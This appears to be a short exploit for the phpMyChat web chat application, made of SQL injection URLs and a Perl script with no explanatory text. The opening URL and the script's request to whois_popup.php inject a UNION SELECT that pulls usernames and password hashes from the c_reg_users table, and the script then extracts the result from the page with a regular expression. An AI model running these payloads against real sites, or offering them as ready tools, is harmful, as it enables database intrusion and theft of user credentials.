http://127.0.0.1/phpmychat/usersH.php?L=english&R='%20union%20select%20concat(username,0x3a,password),2,3,4%20from%20c_reg_users/*

#!/usr/bin/perl

$argc = $#ARGV + 1;
unless ($argc == 2)
{
  print "usage: $0 host path_to_chat\n";
  print "Ex. $0 127.0.0.1 phpmychat\n";
  exit -1;
}

#http://127.0.0.1/phpmychat/whois_popup.php?L=russian&U='%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20c_reg_users%20limit%201/*
use LWP::UserAgent;
use HTTP::Request;

$host = $ARGV[0];
$dir = $ARGV[1];
$file = "whois_popup.php";
$param = "?L=english&U='%20union%20select%201,concat(0x242424,username,0x3a,password,0x242424),3,4,5,6,7,8,9,10,11%20from%20c_reg_users%20limit%200,1/*";

$ua = LWP::UserAgent->new;
#$ua->proxy ("http", "http://$proxy_host:$proxy_port/");
$url = "http://$host/$dir/$file$param";
$req = HTTP::Request->new (GET => $url);
$req->content_type ("text/html");
$res = $ua->request ($req);

die ("ERROR: " . $res->status_line) unless ($res->is_success);

$content = $res->content;
if ($content =~ /\x24\x24\x24([^:]+:.{32})\x24\x24\x24/)
{
  print "$1\n";
}
exit 0;